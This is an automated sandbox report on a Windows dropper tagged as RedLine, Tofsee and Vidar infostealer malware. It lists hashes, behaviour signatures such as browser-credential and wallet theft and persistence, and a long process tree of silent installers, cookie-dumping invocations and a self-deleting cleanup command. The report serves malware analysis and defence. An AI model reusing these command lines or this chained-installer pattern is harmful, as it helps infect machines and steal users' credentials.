Overview

overview

10

Static

static

8f2e44c293...84.exe

windows7_x64

10

8f2e44c293...84.exe

windows10_x64

10

Analysis

  • max time kernel
    60s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    03-07-2021 12:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    8f2e44c29365ee8ded05c7de45e97d2d750cb430bf5ea2ea27ad48c2fa9cf884.exe

  • Size

    940KB

  • MD5

    c24d05331d2cf344af12c1c169270846

  • SHA1

    eeab48b61aabf4a403a5feb47b9b88c31d63b525

  • SHA256

    8f2e44c29365ee8ded05c7de45e97d2d750cb430bf5ea2ea27ad48c2fa9cf884

  • SHA512

    379a145b157501d7aa09f599390f7e14e1f81b7f0f017eebe6084ee534c171760de63a0888d608ec05455304f0cc70a9fdb7dc53421a496f4968e8d6198a4afa

Score
10/10
redlinetofseevidardiscoveryevasioninfostealerpersistencespywarestealertrojanupxvmprotect

Malware Config

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 1 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

    evasion
  • Blocklisted process makes network request 4 IoCs
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Drops file in Drivers directory 4 IoCs
  • Executes dropped EXE 48 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 19 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses 2FA software files, possible credential harvesting 2 TTPs
    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 10 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Script User-Agent 8 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s SENS
    1⤵
      PID:1400
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s WpnService
      1⤵
        PID:2740
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Browser
        1⤵
          PID:2824
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2680
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2404
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2396
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
            1⤵
              PID:1848
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
              1⤵
                PID:1236
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1224
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1076
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                      PID:404
                      • C:\Users\Admin\AppData\Roaming\rvrwdhb
                        C:\Users\Admin\AppData\Roaming\rvrwdhb
                        2⤵
                          PID:7288
                        • C:\Users\Admin\AppData\Roaming\hirwdhb
                          C:\Users\Admin\AppData\Roaming\hirwdhb
                          2⤵
                            PID:7112
                        • c:\windows\system32\svchost.exe
                          c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                          1⤵
                            PID:336
                          • C:\Users\Admin\AppData\Local\Temp\8f2e44c29365ee8ded05c7de45e97d2d750cb430bf5ea2ea27ad48c2fa9cf884.exe
                            "C:\Users\Admin\AppData\Local\Temp\8f2e44c29365ee8ded05c7de45e97d2d750cb430bf5ea2ea27ad48c2fa9cf884.exe"
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:776
                            • C:\Users\Admin\AppData\Local\Temp\is-8E0B0.tmp\8f2e44c29365ee8ded05c7de45e97d2d750cb430bf5ea2ea27ad48c2fa9cf884.tmp
                              "C:\Users\Admin\AppData\Local\Temp\is-8E0B0.tmp\8f2e44c29365ee8ded05c7de45e97d2d750cb430bf5ea2ea27ad48c2fa9cf884.tmp" /SL5="$20138,448783,365056,C:\Users\Admin\AppData\Local\Temp\8f2e44c29365ee8ded05c7de45e97d2d750cb430bf5ea2ea27ad48c2fa9cf884.exe"
                              2⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              • Suspicious use of WriteProcessMemory
                              PID:2496
                              • C:\Users\Admin\AppData\Local\Temp\is-9TVBL.tmp\758____Dawn.exe
                                "C:\Users\Admin\AppData\Local\Temp\is-9TVBL.tmp\758____Dawn.exe" /S /UID=lab212
                                3⤵
                                • Drops file in Drivers directory
                                • Executes dropped EXE
                                • Adds Run key to start application
                                • Drops file in Program Files directory
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:3064
                                • C:\Program Files\Reference Assemblies\QYVGPMCBIL\prolab.exe
                                  "C:\Program Files\Reference Assemblies\QYVGPMCBIL\prolab.exe" /VERYSILENT
                                  4⤵
                                  • Executes dropped EXE
                                  • Suspicious use of WriteProcessMemory
                                  PID:3748
                                  • C:\Users\Admin\AppData\Local\Temp\is-E5KMD.tmp\prolab.tmp
                                    "C:\Users\Admin\AppData\Local\Temp\is-E5KMD.tmp\prolab.tmp" /SL5="$70070,575243,216576,C:\Program Files\Reference Assemblies\QYVGPMCBIL\prolab.exe" /VERYSILENT
                                    5⤵
                                    • Executes dropped EXE
                                    • Drops file in Program Files directory
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of FindShellTrayWindow
                                    PID:1720
                                • C:\Users\Admin\AppData\Local\Temp\af-1c915-fd9-a4480-1752bab73d9ce\Bypaeraenuzhu.exe
                                  "C:\Users\Admin\AppData\Local\Temp\af-1c915-fd9-a4480-1752bab73d9ce\Bypaeraenuzhu.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  • Checks computer location settings
                                  • Modifies system certificate store
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2224
                                • C:\Users\Admin\AppData\Local\Temp\61-7abc1-5da-817b6-89a93d34003d6\Fagashiquna.exe
                                  "C:\Users\Admin\AppData\Local\Temp\61-7abc1-5da-817b6-89a93d34003d6\Fagashiquna.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  • Suspicious use of WriteProcessMemory
                                  PID:3752
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\exlo4mnf.53z\GcleanerEU.exe /eufive & exit
                                    5⤵
                                      PID:5244
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ah3wrzqp.sag\installer.exe /qn CAMPAIGN="654" & exit
                                      5⤵
                                        PID:5512
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\asozvti0.px5\ifhwwyy.exe & exit
                                        5⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:4764
                                        • C:\Users\Admin\AppData\Local\Temp\asozvti0.px5\ifhwwyy.exe
                                          C:\Users\Admin\AppData\Local\Temp\asozvti0.px5\ifhwwyy.exe
                                          6⤵
                                          • Executes dropped EXE
                                          • Adds Run key to start application
                                          • Suspicious use of WriteProcessMemory
                                          PID:4908
                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                            7⤵
                                            • Executes dropped EXE
                                            PID:5024
                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                            7⤵
                                              PID:4648
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fzp10p0w.muu\Setup3310.exe /Verysilent /subid=623 & exit
                                          5⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:5536
                                          • C:\Windows\System32\Conhost.exe
                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                            6⤵
                                              PID:5512
                                            • C:\Users\Admin\AppData\Local\Temp\fzp10p0w.muu\Setup3310.exe
                                              C:\Users\Admin\AppData\Local\Temp\fzp10p0w.muu\Setup3310.exe /Verysilent /subid=623
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious use of WriteProcessMemory
                                              PID:5508
                                              • C:\Users\Admin\AppData\Local\Temp\is-0K5D2.tmp\Setup3310.tmp
                                                "C:\Users\Admin\AppData\Local\Temp\is-0K5D2.tmp\Setup3310.tmp" /SL5="$102FA,138429,56832,C:\Users\Admin\AppData\Local\Temp\fzp10p0w.muu\Setup3310.exe" /Verysilent /subid=623
                                                7⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                • Suspicious use of FindShellTrayWindow
                                                • Suspicious use of WriteProcessMemory
                                                PID:5616
                                                • C:\Users\Admin\AppData\Local\Temp\is-CJE03.tmp\Setup.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\is-CJE03.tmp\Setup.exe" /Verysilent
                                                  8⤵
                                                    PID:5220
                                                    • C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe
                                                      "C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"
                                                      9⤵
                                                      • Executes dropped EXE
                                                      PID:4472
                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                        10⤵
                                                        • Executes dropped EXE
                                                        PID:5128
                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                        10⤵
                                                        • Executes dropped EXE
                                                        PID:5000
                                                    • C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe
                                                      "C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"
                                                      9⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:4720
                                                      • C:\Users\Admin\AppData\Roaming\7951908.exe
                                                        "C:\Users\Admin\AppData\Roaming\7951908.exe"
                                                        10⤵
                                                        • Executes dropped EXE
                                                        PID:6072
                                                      • C:\Users\Admin\AppData\Roaming\3520616.exe
                                                        "C:\Users\Admin\AppData\Roaming\3520616.exe"
                                                        10⤵
                                                        • Executes dropped EXE
                                                        • Adds Run key to start application
                                                        PID:6120
                                                        • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                          "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                          11⤵
                                                          • Executes dropped EXE
                                                          PID:5628
                                                      • C:\Users\Admin\AppData\Roaming\2630364.exe
                                                        "C:\Users\Admin\AppData\Roaming\2630364.exe"
                                                        10⤵
                                                        • Executes dropped EXE
                                                        PID:4252
                                                    • C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe
                                                      "C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
                                                      9⤵
                                                      • Executes dropped EXE
                                                      PID:4532
                                                      • C:\Users\Admin\AppData\Local\Temp\is-H2SAK.tmp\MediaBurner.tmp
                                                        "C:\Users\Admin\AppData\Local\Temp\is-H2SAK.tmp\MediaBurner.tmp" /SL5="$103B4,506127,422400,C:\Program Files (x86)\Data Finder\Versium Research\MediaBurner.exe"
                                                        10⤵
                                                        • Executes dropped EXE
                                                        • Loads dropped DLL
                                                        PID:4824
                                                        • C:\Users\Admin\AppData\Local\Temp\is-DFRI2.tmp\JFHGSFGSIUGFSUIG.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\is-DFRI2.tmp\JFHGSFGSIUGFSUIG.exe" /S /UID=burnerch1
                                                          11⤵
                                                          • Drops file in Drivers directory
                                                          • Executes dropped EXE
                                                          • Adds Run key to start application
                                                          • Drops file in Program Files directory
                                                          PID:5908
                                                          • C:\Program Files\Uninstall Information\RQQVMKZGIX\ultramediaburner.exe
                                                            "C:\Program Files\Uninstall Information\RQQVMKZGIX\ultramediaburner.exe" /VERYSILENT
                                                            12⤵
                                                            • Executes dropped EXE
                                                            PID:5424
                                                            • C:\Users\Admin\AppData\Local\Temp\is-6STIU.tmp\ultramediaburner.tmp
                                                              "C:\Users\Admin\AppData\Local\Temp\is-6STIU.tmp\ultramediaburner.tmp" /SL5="$30204,281924,62464,C:\Program Files\Uninstall Information\RQQVMKZGIX\ultramediaburner.exe" /VERYSILENT
                                                              13⤵
                                                              • Executes dropped EXE
                                                              • Drops file in Program Files directory
                                                              • Suspicious use of FindShellTrayWindow
                                                              PID:5296
                                                              • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                14⤵
                                                                • Executes dropped EXE
                                                                PID:5376
                                                          • C:\Users\Admin\AppData\Local\Temp\eb-57ef3-5d4-63b96-8cd18b64728a5\Genydoniky.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\eb-57ef3-5d4-63b96-8cd18b64728a5\Genydoniky.exe"
                                                            12⤵
                                                            • Executes dropped EXE
                                                            • Drops file in Program Files directory
                                                            PID:5220
                                                          • C:\Users\Admin\AppData\Local\Temp\ba-4b4a0-072-a87b5-6a6b57abd1a30\Kygyculaero.exe
                                                            "C:\Users\Admin\AppData\Local\Temp\ba-4b4a0-072-a87b5-6a6b57abd1a30\Kygyculaero.exe"
                                                            12⤵
                                                            • Executes dropped EXE
                                                            PID:5888
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rlpncvsq.dow\GcleanerEU.exe /eufive & exit
                                                              13⤵
                                                                PID:6888
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mlqgaqxa.0to\installer.exe /qn CAMPAIGN="654" & exit
                                                                13⤵
                                                                  PID:6328
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zoshzywt.3xm\ifhwwyy.exe & exit
                                                                  13⤵
                                                                    PID:6764
                                                                    • C:\Users\Admin\AppData\Local\Temp\zoshzywt.3xm\ifhwwyy.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\zoshzywt.3xm\ifhwwyy.exe
                                                                      14⤵
                                                                        PID:6348
                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                          15⤵
                                                                            PID:6356
                                                                          • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                            15⤵
                                                                              PID:5872
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4fli01r2.ulq\Setup3310.exe /Verysilent /subid=623 & exit
                                                                          13⤵
                                                                            PID:6484
                                                                            • C:\Users\Admin\AppData\Local\Temp\4fli01r2.ulq\Setup3310.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\4fli01r2.ulq\Setup3310.exe /Verysilent /subid=623
                                                                              14⤵
                                                                                PID:6260
                                                                                • C:\Users\Admin\AppData\Local\Temp\is-OOKB6.tmp\Setup3310.tmp
                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-OOKB6.tmp\Setup3310.tmp" /SL5="$1062C,138429,56832,C:\Users\Admin\AppData\Local\Temp\4fli01r2.ulq\Setup3310.exe" /Verysilent /subid=623
                                                                                  15⤵
                                                                                    PID:6960
                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-0CGT6.tmp\Setup.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-0CGT6.tmp\Setup.exe" /Verysilent
                                                                                      16⤵
                                                                                        PID:7844
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vkad4d2d.qh0\google-game.exe & exit
                                                                                  13⤵
                                                                                    PID:6180
                                                                                    • C:\Users\Admin\AppData\Local\Temp\vkad4d2d.qh0\google-game.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\vkad4d2d.qh0\google-game.exe
                                                                                      14⤵
                                                                                        PID:6228
                                                                                        • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                          "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                          15⤵
                                                                                            PID:7064
                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 7064 -s 620
                                                                                              16⤵
                                                                                              • Program crash
                                                                                              PID:7384
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gvkwyw32.p1v\GcleanerWW.exe /mixone & exit
                                                                                        13⤵
                                                                                          PID:7240
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ayqwbbsr.0yi\toolspab1.exe & exit
                                                                                          13⤵
                                                                                            PID:7572
                                                                                            • C:\Users\Admin\AppData\Local\Temp\ayqwbbsr.0yi\toolspab1.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\ayqwbbsr.0yi\toolspab1.exe
                                                                                              14⤵
                                                                                                PID:7724
                                                                                                • C:\Users\Admin\AppData\Local\Temp\ayqwbbsr.0yi\toolspab1.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\ayqwbbsr.0yi\toolspab1.exe
                                                                                                  15⤵
                                                                                                    PID:7792
                                                                                      • C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe
                                                                                        "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"
                                                                                        9⤵
                                                                                        • Executes dropped EXE
                                                                                        • Loads dropped DLL
                                                                                        • Checks processor information in registry
                                                                                        PID:4496
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c taskkill /im RunWW.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe" & del C:\ProgramData\*.dll & exit
                                                                                          10⤵
                                                                                            PID:5992
                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                              taskkill /im RunWW.exe /f
                                                                                              11⤵
                                                                                              • Kills process with taskkill
                                                                                              PID:6116
                                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                                              timeout /t 6
                                                                                              11⤵
                                                                                              • Delays execution with timeout.exe
                                                                                              PID:2188
                                                                                        • C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe
                                                                                          "C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                          9⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:4576
                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-PMT4R.tmp\lylal220.tmp
                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-PMT4R.tmp\lylal220.tmp" /SL5="$20360,389391,305664,C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"
                                                                                            10⤵
                                                                                            • Executes dropped EXE
                                                                                            • Loads dropped DLL
                                                                                            PID:2428
                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-IIRB9.tmp\ElZané_çé_.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-IIRB9.tmp\ElZané_çé_.exe" /S /UID=lylal220
                                                                                              11⤵
                                                                                              • Drops file in Drivers directory
                                                                                              • Executes dropped EXE
                                                                                              • Adds Run key to start application
                                                                                              • Drops file in Program Files directory
                                                                                              PID:2572
                                                                                              • C:\Program Files\Internet Explorer\QOCTSAWUUA\irecord.exe
                                                                                                "C:\Program Files\Internet Explorer\QOCTSAWUUA\irecord.exe" /VERYSILENT
                                                                                                12⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:6076
                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-PU87V.tmp\irecord.tmp
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-PU87V.tmp\irecord.tmp" /SL5="$3037E,5808768,66560,C:\Program Files\Internet Explorer\QOCTSAWUUA\irecord.exe" /VERYSILENT
                                                                                                  13⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Drops file in Program Files directory
                                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                                  PID:5592
                                                                                                  • C:\Program Files (x86)\i-record\I-Record.exe
                                                                                                    "C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu
                                                                                                    14⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Loads dropped DLL
                                                                                                    PID:5776
                                                                                              • C:\Users\Admin\AppData\Local\Temp\3c-5ab55-1cf-d46b9-258d2224c4b8a\Falyramala.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\3c-5ab55-1cf-d46b9-258d2224c4b8a\Falyramala.exe"
                                                                                                12⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:4352
                                                                                              • C:\Users\Admin\AppData\Local\Temp\8c-0dd54-23a-efdb7-7312a9b4b66c5\Qylaejisepae.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\8c-0dd54-23a-efdb7-7312a9b4b66c5\Qylaejisepae.exe"
                                                                                                12⤵
                                                                                                • Executes dropped EXE
                                                                                                PID:5880
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4gabw3lc.ty3\GcleanerEU.exe /eufive & exit
                                                                                                  13⤵
                                                                                                    PID:5656
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1aepl2rc.cg3\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                    13⤵
                                                                                                      PID:6152
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ocojp0ml.eek\ifhwwyy.exe & exit
                                                                                                      13⤵
                                                                                                        PID:7108
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\ocojp0ml.eek\ifhwwyy.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\ocojp0ml.eek\ifhwwyy.exe
                                                                                                          14⤵
                                                                                                            PID:6200
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                              15⤵
                                                                                                                PID:6788
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                15⤵
                                                                                                                  PID:7080
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gyc4cxm2.ga2\Setup3310.exe /Verysilent /subid=623 & exit
                                                                                                              13⤵
                                                                                                                PID:6696
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\gyc4cxm2.ga2\Setup3310.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\gyc4cxm2.ga2\Setup3310.exe /Verysilent /subid=623
                                                                                                                  14⤵
                                                                                                                    PID:6436
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-TDAC5.tmp\Setup3310.tmp
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-TDAC5.tmp\Setup3310.tmp" /SL5="$404F8,138429,56832,C:\Users\Admin\AppData\Local\Temp\gyc4cxm2.ga2\Setup3310.exe" /Verysilent /subid=623
                                                                                                                      15⤵
                                                                                                                        PID:6376
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-MMQQI.tmp\Setup.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-MMQQI.tmp\Setup.exe" /Verysilent
                                                                                                                          16⤵
                                                                                                                            PID:7876
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\iot31tty.yq5\google-game.exe & exit
                                                                                                                      13⤵
                                                                                                                        PID:6496
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\iot31tty.yq5\google-game.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\iot31tty.yq5\google-game.exe
                                                                                                                          14⤵
                                                                                                                            PID:7160
                                                                                                                            • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                              "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                                                                                                              15⤵
                                                                                                                                PID:7940
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kjkyeni5.mto\GcleanerWW.exe /mixone & exit
                                                                                                                            13⤵
                                                                                                                              PID:6456
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\d0csvjw5.422\toolspab1.exe & exit
                                                                                                                              13⤵
                                                                                                                                PID:7408
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\d0csvjw5.422\toolspab1.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\d0csvjw5.422\toolspab1.exe
                                                                                                                                  14⤵
                                                                                                                                    PID:7656
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\d0csvjw5.422\toolspab1.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\d0csvjw5.422\toolspab1.exe
                                                                                                                                      15⤵
                                                                                                                                        PID:7752
                                                                                                                          • C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe
                                                                                                                            "C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"
                                                                                                                            9⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:4608
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-5HTFR.tmp\LabPicV3.tmp
